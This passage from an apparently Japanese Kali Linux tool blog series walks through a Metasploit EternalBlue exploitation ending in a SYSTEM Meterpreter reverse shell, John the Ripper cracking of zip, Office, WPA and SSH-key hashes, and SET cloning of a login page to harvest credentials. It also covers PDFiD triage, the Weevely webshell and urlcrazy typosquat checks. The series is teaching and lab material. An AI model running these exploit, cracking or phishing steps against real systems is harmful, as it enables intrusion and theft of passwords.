   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.29.55.196    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

パラメーターを設定したら、show optionsコマンドを使って、値が正しく設定されているか確認することができます。

よく使うパラメータは以下の通りです:

  • RHOSTS: "リモート・ホスト"、ターゲット・システムのIPアドレス。単一のIPアドレスまたはネットワーク範囲を設定できる。これは、CIDR(Classless Inter-Domain Routing)表記(/24、/16など)またはネットワーク範囲(10.10.10.x - 10.10.10.y)をサポートします。
  • RPORT: 「リモートポート」、脆弱なアプリケーションが実行されているターゲットシステム上のポート。
  • PAYLOAD: エクスプロイトで使用するペイロード。
  • LHOST:"Localhost"、攻撃マシン(Kali Linux)のIPアドレス。
  • LPORT: "ローカルポート"、リバースシェルが接続する際に使用するポート。これは攻撃しているマシンのポートで、他のアプリケーションに使われていない任意のポートに設定できます。
  • SESSION: Metasploit を使ってターゲットシステムに確立された各接続はセッション ID を持ちます。既存の接続を使用してターゲットシステムに接続するポストエクスプロイトモジュールでこれを使用します。
設定されたパラメータは、set コマンドを使って別の値で上書きすることができます。また、unset コマンドで任意のパラメータ値をクリアしたり、unset all コマンドですべての設定パラメータをクリアすることもできます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > unset all
Unsetting datastore...
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                             using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Ser
                                             ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server
                                             2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
                                             indows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.29.55.196    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

setgコマンドを使えば、すべてのモジュールで使われる値を設定することができます。setgコマンドはsetコマンドと同じように使います。違うのは、set コマンドを使ってあるモジュールで値を設定した後、別のモジュールに切り替えた場合、再度値を設定する必要があるということです。setgコマンドは、異なるモジュール間でデフォルトで使用できるように値を設定することができます。setgで設定した値は、unsetgでクリアできます。

以下の例では、以下のフローを使用しています;

  1. ms17_010_eternalblueエクスプロイトを使用します。
  2. setコマンドの代わりにsetgコマンドを使用してRHOSTS変数を設定します。
  3. backコマンドを使用して、エクスプロイト・コンテキストから抜けます。
  4. 補助ツールを使用します(このモジュールはMS17-010の脆弱性を発見するためのスキャナーです)。
  5. show optionsコマンドは、RHOSTSパラメータにターゲット・システムのIPアドレスがすでに入力されていることを示しています。

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > setg rhosts 10.10.165.39
rhosts => 10.10.165.39
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                      Required  Description
   ----         ---------------                      --------  -----------
   CHECK_ARCH   true                                 no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                 no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/dat  yes       List of named pipes to check
                a/wordlists/named_pipes.txt
   RHOSTS       10.10.165.39                         yes       The target host(s), see https://docs.metasploit.com/docs/using-
                                                               metasploit/basics/using-metasploit.html
   RPORT        445                                  yes       The SMB service port (TCP)
   SMBDomain    .                                    no        The Windows domain to use for authentication
   SMBPass                                           no        The password for the specified username
   SMBUser                                           no        The username to authenticate as
   THREADS      1                                    yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_ms17_010) >

setgコマンドは、Metasploitを終了するか、unsetgコマンドを使ってクリアするまで使用されるグローバルな値を設定します。

モジュールを使う

モジュールのパラメータをすべて設定したら、exploitコマンドを使ってモジュールを起動することができます。Metasploitはrunコマンドもサポートしていますが、これはexploitコマンドの別名で、exploitではないモジュール(ポートスキャナや脆弱性スキャナなど)を使うときにexploitという単語が意味をなさないために作られたものです。

exploitコマンドは、パラメータなしで使用することも、"-z "パラメータを使用して使用することもできます。

exploit -zコマンドは、セッションが開くとすぐにexploitを実行し、バックグラウンドにします。

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -z

[*] Started reverse TCP handler on 10.10.44.70:4444 
[*] 10.10.12.229:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.12.229:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.12.229:445      - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.12.229:445 - Connecting to target for exploitation.
[+] 10.10.12.229:445 - Connection established for exploitation.
[+] 10.10.12.229:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.12.229:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.12.229:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.12.229:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.12.229:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.12.229:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.12.229:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.12.229:445 - Sending all but last fragment of exploit packet
[*] 10.10.12.229:445 - Starting non-paged pool grooming
[+] 10.10.12.229:445 - Sending SMBv2 buffers
[+] 10.10.12.229:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.12.229:445 - Sending final SMBv2 buffers.
[*] 10.10.12.229:445 - Sending last fragment of exploit packet!
[*] 10.10.12.229:445 - Receiving response from exploit packet
[+] 10.10.12.229:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.12.229:445 - Sending egg to corrupted connection.
[*] 10.10.12.229:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 10.10.12.229
[*] Meterpreter session 2 opened (10.10.44.70:4444 -> 10.10.12.229:49186) at 2021-08-20 02:06:48 +0100
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Session 2 created in the background.
msf6 exploit(windows/smb/ms17_010_eternalblue) >

これにより、エクスプロイトを実行したコンテキスト・プロンプトが返されます。

checkオプションをサポートしているモジュールもあります。これは、ターゲットシステムが脆弱かどうかを、エクスプロイトせずにチェックします。

セッション

脆弱性の悪用に成功すると、セッションが作成されます。これはターゲットシステムとMetasploitの間に確立された通信チャネルです。

セッションプロンプトをバックグラウンドにして msfconsole プロンプトに戻るには background コマンドを使用します。

meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/smb/ms17_010_eternalblue) > 

また、CTRL+Z を使用してセッションをバックグラウンドにすることもできます。

sessions コマンドは msfconsole プロンプトまたは任意のコンテキストから使用でき、既存のセッションを確認できます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > sessions 

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 >

任意のセッションと対話するには、sessions -iコマンドの後に目的のセッション番号を続けます。

msf6 > sessions

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 > sessions -i 2
[*] Starting interaction with 2...

meterpreter >


出典:Metasploit: Introduction

Kali Tools #009|John the Ripper:パスワード強度を検証する定番ツール


※本記事は学習用途・自己所有環境のみを対象とし、他者環境への無断スキャンは不正アクセス禁止法に該当します。

今日は「John the Ripper」を紹介したいと思います。

John the Ripperはオープンソースのパスワードクラッカーで、複数のアルゴリズムを使ってパスワードをブルートフォースすることができます。様々な種類のドキュメントやアーカイブのパスワードを解除したり、様々なリソースのシンプルなユーザーパスワードを解除することができます。Johnの欠点は、ハッシュをクラックすることしかできないことです。つまり、暗号化されたファイルを直接扱うことはできません。例えばオフィス文書を開き、そこにパスワードを入力するようなことはできません。

以下の例では、JohnがすでにインストールされているKali Linuxを使って説明します。インストールは以下のコマンドで行えます。

# sudo apt install john -y

例として、暗号化されたアーカイブのパスワードをクラックする方法を見てみましょう。


ハッシュ値の抽出

まず、問題のファイルのハッシュを計算(抽出)する必要があります。zip2johnと呼ばれる補助ユーティリティーを使います。

ここで、アーカイブがあるフォルダに移動します。

# cd (ファイルパス)

zip2johnを実行し、結果(抽出したハッシュ)をTest.txtという同じフォルダに保存します。

# zip2john Test.zip > Text.txt

異なるファイル形式からハッシュを抽出する場合は、補助ユーティリティの名称が変わります。いくつか例を挙げてみましょう。

rarファイルからハッシュを抽出する場合。

# rar2john Test.rar > Text.txt

7zアーカイブからハッシュを抽出する場合。

# 7z2john.pl '/mnt/disk_d/Arch/from_kali.7z'

MS Word 2019ファイルからハッシュを抽出する場合。

# office2john.py '/mnt/disk_d/Share/Secret.docx' 2>/dev/null

Wi-Fiハッキングのためのハンドシェイクからハッシュを抽出する場合。

# wpapcap2john ~/RT-725140.pcap

キャプチャしたネットワークトラフィックからVNCハンドシェイクのハッシュを抽出する場合。

# vncpcap2john '/home/mial/VNC.pcapng'

SSHキーのハッシュを抽出する場合。

# ssh2john id_rsa > Text.txt

この抽出したText.txtファイルに対して、johnコマンドで解析を進めます。


ランニング

最も頻繁に使われるオプションとしては、--mask(パスワードを生成するためのマスク)と--wordlist(辞書ファイルの指定)が挙げられます。

辞書ファイルを用いた解析を行うには、辞書が必要です。Kali Linuxにはseclistsと呼ばれるパッケージが用意されているのでインストールします。

# sudo apt install seclists -y

/usr/share/seclists/ 配下にファイルが展開されます。

辞書攻撃を行うには、次のようなコマンドを実行します。
john --wordlist=(辞書ファイル)

辞書として、/usr/share/seclists/Passwords/rockyou.txtファイルを使う場合、コマンドは以下のようになります。

john --wordlist=/usr/share/seclists/Passwords/rockyou.txt Text.txt

実行結果の例は以下となり、pass123がパスワードであることが分かります。

# sudo john --wordlist=/usr/share/seclists/Passwords/rockyou.txt Text.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pass123          (secure_1605054835063.zip/zippy/flag.txt)
1g 0:00:00:00 DONE (2024-07-26 21:44) 8.333g/s 136533p/s 136533c/s 136533C/s 123456..christal
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

マスク攻撃を行うには、次のような形式のコマンドを使用します。

./john --mask=(マスクハッシュ)

例えば、こんな感じです。

./john --mask='?d?d?d?d?d?d' Text.txt

マスク別にパスワードを把握するためのちょっとしたメモをご紹介します。

Static Characters.
Ranges in the syntax [aouei] or [a-z]. Or both, [0-9abcdef] is the same as [0-9a-f].
Fillers that are just an abbreviated form for ranges, such as ?l, which is 100% equivalent to [a-z].
?l is lowercase ASCII letters
?u are ASCII uppercase letters.
?d are numbers
?s are special characters (all printable ASCII characters except those included in ?l, ?u, or ?d)
?a is full "printable" ASCII. Note that for formats that are not case-sensitive (e.g., LM), this designation includes only lowercase characters, which significantly reduces the key space (the number of possible password candidates), but still covers all possible variants available for a given hash type.
?B is all 8-bit (0x80-0xff)
?b is all (0x01-0xff) (the NULL character is currently not supported by the kernel).
?h are lowercase hexadecimal digits (0-9, a-f)
?H are upper case HEX digits (0-9, A-F)
?L are lowercase, non-ASCII letters
?U are uppercase letters, non-ASCII
?D are "numbers", non-ASCII
?S is for non-ASCII "special characters"
?A is all valid characters in the current code page (including ASCII). Note that for formats that do not recognize case (e.g. LM), this includes only lowercase characters, which greatly reduces the number of password candidates without compromising cracking.
Fillers that are user-defined, so we can, for example, set the value to ?1 and assign it a value, such as [?u?l]. In Hashcat, this is called "user-defined character sets".
?1 .. ?9 is a user-defined placeholder 1 . 9
Fillers for hybrid mask mode:
?w is in Hybrid Mask Mode denotes the source word created by the parent mode.
?W is like ?w except that the source word is case-sensitive (so PassWord becomes PASSWORD).

今回は、John the Ripperの用途の一つをざっと見てみましたが、決してそれだけではありません。

LinuxでJohnを使えない場合は、開発者が気を利かせて、WindowsやMacOSで使える可能性を加えてくれましたが、これはお勧めできません。興味のある方は、インターネット上にたくさんのガイドや記事があります。

以上、ここから先は誠意を持って対応してください この記事がどなたかのお役に立てれば幸いです。

出典:Брутфорс - John the Ripperアーカイブ

Kali Tools #008|PDFiD:PDFに潜む悪性コードを高速スキャンする解析ツール

PDFファイルは便利ですが、悪意のあるコードが埋め込まれている可能性もあり、セキュリティ上のリスクとなります。そこで今回は、PDFiDというツールをご紹介します。

PDFiDは、PDFファイル内の特定のキーワードをスキャンし、潜在的な脅威を素早く検出するツールです。 JavaScriptを含むPDFや、開いたときにアクションを実行するPDFなど、危険なファイルを見つけ出すことができます。

PDFiDの特長

  • 軽量でシンプルな設計
  • 高速なスキャン
  • 難読化されたファイル名にも対応
  • 疑わしいファイルのみを詳細な解析に送ることで、時間を節約

使い方

  • aptコマンドでインストールします。

    sudo apt install pdfid

  • 使い方
root@kali:~# pdfid -h
Usage: pdfid [options] [pdf-file|zip-file|url|@file] ...
Tool to test a PDF file

Arguments:
pdf-file and zip-file can be a single file, several files, and/or @file
@file: run PDFiD on each file listed in the text file specified
wildcards are supported

Source code put in the public domain by Didier Stevens, no Copyright
Use at your own risk
https://DidierStevens.com

Options:
  --version             show program's version number and exit
  -h, --help            show this help message and exit
  -s, --scan            scan the given directory
  -a, --all             display all the names
  -e, --extra           display extra data, like dates
  -f, --force           force the scan of the file, even without proper %PDF
                        header
  -d, --disarm          disable JavaScript and auto launch
  -p PLUGINS, --plugins=PLUGINS
                        plugins to load (separate plugins with a comma , ;
                        @file supported)
  -c, --csv             output csv data when using plugins
  -m MINIMUMSCORE, --minimumscore=MINIMUMSCORE
                        minimum score for plugin results output
  -v, --verbose         verbose (will also raise catched exceptions)
  -S SELECT, --select=SELECT
                        selection expression
  -n, --nozero          supress output for counts equal to zero
  -o OUTPUT, --output=OUTPUT
                        output to log file
  --pluginoptions=PLUGINOPTIONS
                        options for the plugin
  -l, --literalfilenames
                        take filenames literally, no wildcard matching
  --recursedir          Recurse directories (wildcards and here files (@...)
                        allowed)
  • 実行例
root@kali:~# pdfid /usr/share/doc/texmf/fonts/lm/lm-info.pdf
PDFiD 0.0.12 /usr/share/doc/texmf/fonts/lm/lm-info.pdf
 PDF Header: %PDF-1.4
 obj                  526
 endobj               526
 stream               151
 endstream            151
 xref                   1
 trailer                1
 startxref              1
 /Page                 26
 /Encrypt               0
 /ObjStm                0
 /JS                    0
 /JavaScript            0
 /AA                    0
 /OpenAction            0
 /AcroForm              0
 /JBIG2Decode           0
 /RichMedia             0
 /Launch                0
 /EmbeddedFile          0
 /Colors > 2^24         0

PDFiDとpdf-parser.pyの使い分け

PDFiDは、PDFファイルの迅速なトリアージに最適です。疑わしいファイルが見つかった場合は、pdf-parser.pyなどの詳細な解析ツールを使ってさらに詳しく調べることをおすすめします。

PDFiDは、セキュリティ意識の高いすべてのユーザーにおすすめのツールです。 ぜひダウンロードして、あなたの大切なデータを悪意のある攻撃から守ってください。

出典①:MalDoc in PDF - 検知回避を狙って悪性なWordファイルをPDFファイルへ埋め込む手法 -アーカイブ

出典②:pdfid | Kali Linux Tools

Kali Tools #007|SET(Social-Engineer Toolkit)徹底解説|ソーシャルエンジニアリングの検証ツール

※本記事は学習用途・自己所有環境のみを対象とし、他者環境への無断スキャンは不正アクセス禁止法に該当します。

Social-Engineer Toolkit(SET)は、人間要因のセキュリティを検証するためのフレームワークです。

Kali Linux に標準搭載されており、フィッシング模擬演習、偽サイト生成、メールシナリオ作成など、ソーシャルエンジニアリングに関する多くの検証機能を備えています。

SET は David Kennedy(ReL1K)氏によって開発され、現在もコミュニティの協力により継続的に改善されています。

通常のペネトレーションテストではサーバー側の脆弱性に注目することが多いですが、実際のインシデントでは利用者(クライアント側)の認証情報窃取や操作誘導が大きな割合を占めます。

そのため、ソーシャルエンジニアリングのシナリオを理解し、リスクを把握することは非常に重要です。


SET の代表的な機能

SET にはさまざまな検証機能がありますが、代表的なものは以下の通りです。

  • Credential Harvester(認証情報の収集)

  • 偽ログインページのクローン生成(Site Cloner)

  • フィッシングメールの模擬送信

  • ブラウザやプラグインの脆弱性を検証する機能

今回は、もっとも分かりやすい「Credential Harvester」を使い、クローンサイトで入力された認証情報がどのように収集されるのかを見ていきます。


1. SET の起動

ルート端末で次のコマンドを実行します。

sudo setoolkit

メニューが表示されるので、以下の順で選択します。

  1. Social-Engineering Attacks

  2. Web Site Attack Vectors

  3. Credential Harvester Attack Method

  4. Site Cloner


2. Harvester の設定

■ ① 受信先 IP アドレスの入力

「POSTデータの送信先 IP」を聞かれるので、Kali ホストの IP アドレスを入力します。
例: 192.168.56.1


■ ② クローンする対象 URL を入力

ログインフォームを持つ URL を指定します。
例:

http://192.168.56.102/peruggia/index.php?action=login


■ ③ Apache を起動する

Apache を使ってページを公開するので「Yes(y)」を選択します。


3. クローンされたページの確認

ブラウザで以下にアクセスします。

http://192.168.56.1/

元のログインページと同じ見た目の画面が表示され、入力内容は Kali 側に転送されます。
試しに以下を入力してみます。

  • ユーザー名:harvester

  • パスワード:test

ログインボタンを押すと、元のログインページにリダイレクトされます。


4. 収集されたデータの確認

Kali の /var/www/html/ ディレクトリに戻り、生成されたファイルを確認します。

cd /var/www/html

harvester_日付.txt というファイルが生成されており、入力した情報が記録されています。

cat harvester_2025-11-22_23:16:24.txt

入力したユーザー名・パスワードがここに保存されます。


5. SET の動作原理

SET がサイトをクローンする際、以下の3ファイルを生成します。

● 1)index.html

元のログイン画面そのものをコピーしたファイル。

● 2)post.php

POSTされたデータを受信し、日時入りファイルに書き込む処理を行う小さなPHPスクリプト。
利用者の入力を保存したあと、メタタグで元のログインページへリダイレクトします。

● 3)harvester_日時.txt

実際に入力された認証情報が保存されるテキストファイル。

この仕組みにより、ユーザーは「パスワードを間違えた」と思い、気づかないまま再度入力を行うケースもあります。


🔚 まとめ

SET(Social-Engineer Toolkit)は、人間要因の脆弱性を理解するための非常に重要な検証ツールです。

クローンサイトの動作や認証情報の処理フローを把握することで、実際のフィッシング手口や誘導の仕組みを学び、防御に役立てることができます。


Kali Tools #006|Weevely:軽量Webシェルでリモート操作を自動化するツール


※本記事は学習用途・自己所有環境のみを対象とし、他者環境への無断スキャンは不正アクセス禁止法に該当します。

Weevelyは、Kali Linuxに標準搭載されている 軽量PHP Webシェル生成ツールです。
一見するとシンプルなPHPファイルですが、攻撃者が好んで使う“ステルス性の高いバックドア”として知られています。

Weevely を使うと、侵入後のサーバーに対して コマンド実行・ファイル操作・接続情報の取得 といった操作を、あたかも telnet や SSH に近い感覚 で行うことができます。
そのため、正規の管理者が利用するケースは少ないものの、攻撃手法を理解する目的で学習しておく価値の高いツールといえます。



🔍 ポイントを整理すると

  • PHPで書かれたWebシェルを生成

  • 見た目は軽量だが、内部には多くの“武器”を搭載

  • ステルス性が高いためログに残りづらい

  • **侵入後の操作自動化(Post-Exploitation)**が得意

  • リモートファイル管理・コマンド実行など多機能

  • Kali Linux に標準収録されており、学習しやすい


【参考】

Kali Tools #005|urlcrazy:そっくりドメイン・タイポスクワッティングを高速チェック


※本記事は学習用途・自己所有環境のみを対象とし、他者環境への無断スキャンは不正アクセス禁止法に該当します。

urlcrazyは、ターゲットの「そっくりドメイン(類似ドメイン)」を大量に自動生成して、
それらが 実際に登録されているか/稼働しているか/危険な用途に使われていないか を調査できるOSINTツールです。

フィッシング、タイポスクワッティング、ブランドなりすまし対策、CSIRT業務などで広く利用されており、
“正規ドメインの影で何が起きているのか” を素早く把握することができます。



🔍 urlcrazyで分かること

  • タイポミスを利用した 偽ドメイン(typosquatting)

  • 使用されている IPアドレス・NS・MX

  • どの国のサーバで稼働しているか

  • 有効/無効のドメイン判定

  • バリエーション生成(ドメイン permutation)

  • フィッシング・ブランド悪用の可能性

シンプルな操作で危険ドメインの洗い出しを自動化できます。


🧩 主な特徴

  • 15種類のドメインバリエーションを自動生成

  • 8,000件以上の一般的なスペルミスに対応

  • **宇宙線によるビット反転(bit flipping)**などの特殊パターンに対応

  • 複数キーボードレイアウト(qwerty / azerty / qwertz / dvorak)に対応

  • 生成されたドメインの

    • 有効性

    • 稼働状況

    • NS・MXの取得

    • 人気度
      を自動チェック

コンパクトなツールながら、偽ドメイン調査では強力な性能を持ちます。


🖥️ 実行例(b-son.netを調査)

$ urlcrazy b-son.net
Warning. File descriptor limit may be too low. Check with `ulimit -a` and change with `ulimit -n 10000`

URLCrazy Domain Report
Domain    : b-son.net
Keyboard  : qwerty
At        : 2025-11-24 15:49:11 +0900
# Please wait. 2008 hostnames to process

Typo Type              Typo Domain                     IP              Country             NameServer                MailServer                   
------------------------------------------------------------------------------------------------------------------------------------------------------
Original               b-son.net                       216.239.32.21   UNITED STATES (US)  dns3.name-services.com.   alt2.aspmx.l.google.com.     
Character Omission     b-on.net                                                                                                                   
Character Omission     b-sn.net                                                                                                                   
Character Omission     b-so.net                        217.160.0.172   GERMANY (DE)        ns1087.ui-dns.de.         mx00.ionos.fr.               
Character Omission     b-son.ne                                                                                                                   
Character Omission     bson.net                        104.21.96.10    UNITED STATES (US)  dee.ns.cloudflare.com.    alt1.aspmx.l.google.com.     
Character Repeat       b--son.net                                                                                                                 
Character Repeat       b-sonn.net                                                                                                                 
Character Repeat       b-soon.net                                                                                                                 
Character Repeat       b-sson.net                                                                                                                 
Character Repeat       bb-son.net                                                                                                                 
Character Swap         -bson.net                                                                                                                  
Character Swap         b-osn.net             

大量の類似ドメインが生成され、実際に稼働しているもの/NSやMXが設定されているもの を簡単に把握できます。


📌 まとめ

urlcrazyは、偽サイト対策やブランド保護を行う上で非常に有用なツールです。
特に 企業名・サービス名のドメインが狙われやすいケース では、定期的に調査することでリスクを早期に把握できます。